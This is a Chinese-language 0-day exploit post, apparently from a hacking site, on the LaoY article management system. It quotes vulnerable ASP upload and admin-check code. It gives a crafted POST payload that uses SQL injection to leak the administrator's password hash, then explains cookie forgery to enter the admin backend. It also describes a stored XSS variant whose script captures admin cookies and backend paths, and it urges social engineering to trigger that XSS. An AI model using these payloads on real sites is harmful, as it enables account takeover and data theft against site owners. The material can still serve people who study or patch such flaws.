【0day】老Y文章管理系统漏洞 XSS、Cookies 欺骗

  • A+
所属分类:lcx

    发布日期:2011-05.10
    发布作者:xxbing
    影响版本:2.5 3.0
    漏洞类型:XSS,cookies欺骗
    漏洞描述:

User/Upload.asp 文件 34-50 行:

  if Uprequest.form("file_Err")0  then
  select case Uprequest.form("file_Err")
  case 1:str="

"&Uprequest.MaxSize/1024&"K [重新上传]

"
  case 2:str="

文件格式不对 [重新上传]

"
  case 3:str="

文件太大且格式不对 [重新上传]

"
  end select
  response.write str
  else
                 '注意这里,上传头像成功后,把头像路径更新到了UserFace字段。
        sql="Update "&tbname&"_User set UserFace = '"&Uprequest.Form("file")&"' where ID= "&LaoYID
        conn.execute(sql)
  response.write ""
  response.write "

上传成功,刷新该页面即可看到新的头像。重新上传

"
 
  conn.close
  set conn=nothing
  end if

60-67 行代码:

'生成头像
'这里要注意,如果不是gif后缀,则对上传的头像进行长、宽处理,所以,为了上传动作顺利进行,大家还是传个gif格式的文件上去
If right(RV_img,4)".gif" then
Dim S_Width,S_Height,H_Temp,W_Temp
S_Width=100
S_Height=100
Set Jpeg = Server.CreateObject("Persits.Jpeg") '创建实例
Path = Server.MapPath(RV_img) '处理图片路径
Jpeg.Open Path '打开图片

    上传头像抓包内容,我用的火狐浏览器插件livehttp,我这里就不把头部的东西放上来了。发送以下的PostData。

以下是引用片段:

-----------------------------4827543632391rn
Content-Disposition: form-data; name="file" ;filename="c:1.gif"rn
rn
gif87a
123123123123123123123
rn
-----------------------------4827543632391rn
Content-Disposition: form-data; name="file"rn
rn
//重点在这里,DLookup是什么东西,怎么用的,请自行百度、google查询。谢谢
abc',Email=DLookUp('admin_pass','Yao_admin', 'Id=1'),Sex='0
rn
-----------------------------4827543632391rn
Content-Disposition: form-data; name="submit"rn
rn
é?′?rn
-----------------------------4827543632391--rn

    返回后,可以看到自己EMAIL一项变成了管理员的MD5加密串。老Y文章管理系统作者在MD5.asp里面做了手脚,保存的MD5为前16位,无法破解密文。不过没有关系··

    以Cookie欺骗登陆后台···

admin/admin_check.asp:

    Dim LaoYAdminID,LaoYAdminName,LaoYAdminPass,IsAdmin,rs5
      '太弱了····
    LaoYAdminID        =LaoYRequest(Request.Cookies("LaoYAdmin")("UserID"))
    LaoYAdminName    =CheckStr(Request.Cookies("LaoYAdmin")("UserName"))
    LaoYAdminPass    =CheckStr(Request.Cookies("LaoYAdmin")("UserPass"))
   
    If LaoYAdminID"" and LaoYAdminName"" and LaoYAdminPass"" then
    set rs5 = server.CreateObject ("adodb.recordset")
    sql="Select Top 1 * from ["&tbname&"_Admin] where id="& LaoYAdminID &" and Admin_Pass='"&LaoYAdminPass&"' and Admin_Name='"&LaoYAdminName&"'"
    on error resume next
    rs5.open sql,conn,1,1
    Dim myadminid,myadminpass,myadminuser
    myadminid        =rs5("ID")
    myadminpass        =rs5("Admin_Pass")
    myadminuser        =rs5("Admin_Name")
    myadminip        =rs5("Admin_IP")
    yaomight        =rs5("AdminMight")
    yaoadmintype    =rs5("AdminType")
    yaoadpower        =rs5("ADPower")
    yaoWritePower    =rs5("WritePower")
    yaoManagePower    =rs5("ManagePower")
    rs5.close
    set rs5=nothing
             '太弱了····
        If myadminidInt(LaoYAdminID) or myadminpassLaoYAdminPass or myadminuserLaoYAdminName or myadminipGetIP Then
            IsAdmin=0
        Else
            IsAdmin=1
        End if
    End if
   
    If IsAdmin1 then
    Response.Redirect ""&SitePath&""&SiteAdmin&"/Admin_Login.asp"
    End if
%>

    这个你懂的···读出管理员的 ID、Admin_Pass,name,IP就可以登陆后台了。

    我相信实际情况中大部分老Y系统后台都修改了名字,对于这种猥琐至极的管理员,我们就要使用更加超级无敌猥琐的方法···

    XSS。。。

    POSTDATA中

abc',Email=DLookUp('admin_pass','Yao_admin', 'Id=1'),Sex='0

    我们可以这样写

abc',UserIp='',Sex='0

    管理员打开后台,查看所有用户列表时,就会被X到了··

    至于他什么时候会查看所有用户,我也不知道,相信你能够用社工的手法,让他主动去看你的注册资料。

    a.js代码的功能就是捕捉管理员后台地址和cookie地址,如果你想,还可以在里面添加其他猥琐功能,比如自动备份数据,自动添加新的管理员。

    那随你了。a.js代码在这里就不提供了。

文章来源于lcx.cc:【0day】老Y文章管理系统漏洞 XSS、Cookies 欺骗

相关推荐: 【转载】渗透中国联通

渗透中国联通 文章作者:Nicholas 渗透联通之旅,原来入侵过四川联通. 今日再次看看.发现一个jsp页面的get连接.就忍不住的想测试 http://www.sc.chinaunicom.com/local/content.jsp?localid=9 先…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: